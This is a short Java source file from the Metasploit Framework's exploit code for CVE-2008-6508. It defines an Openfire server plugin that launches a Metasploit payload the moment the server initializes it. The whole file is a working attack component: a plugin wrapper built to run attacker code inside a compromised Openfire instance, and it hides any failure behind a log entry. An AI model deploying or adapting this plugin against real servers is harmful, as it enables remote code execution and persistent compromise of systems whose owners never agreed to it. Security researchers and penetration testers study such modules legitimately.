metasploit-framework/external/source/exploits/CVE-2008-6508/Example.java

32 lines
672 B
Java

package com.example.openfire.plugin;
import java.io.*;
import java.util.TimerTask;
import org.jivesoftware.util.JiveGlobals;
import org.jivesoftware.openfire.container.Plugin;
import org.jivesoftware.openfire.container.PluginManager;
import org.jivesoftware.util.JiveGlobals;
import org.jivesoftware.util.Log;
import org.jivesoftware.util.TaskEngine;
import metasploit.*;
public class Example implements Plugin {
public void initializePlugin(PluginManager manager, File pluginDirectory) {
try{
Payload.main(null);
}
catch (Exception ex)
{
Log.error("error", ex);
}
}
public void destroyPlugin() {
}
}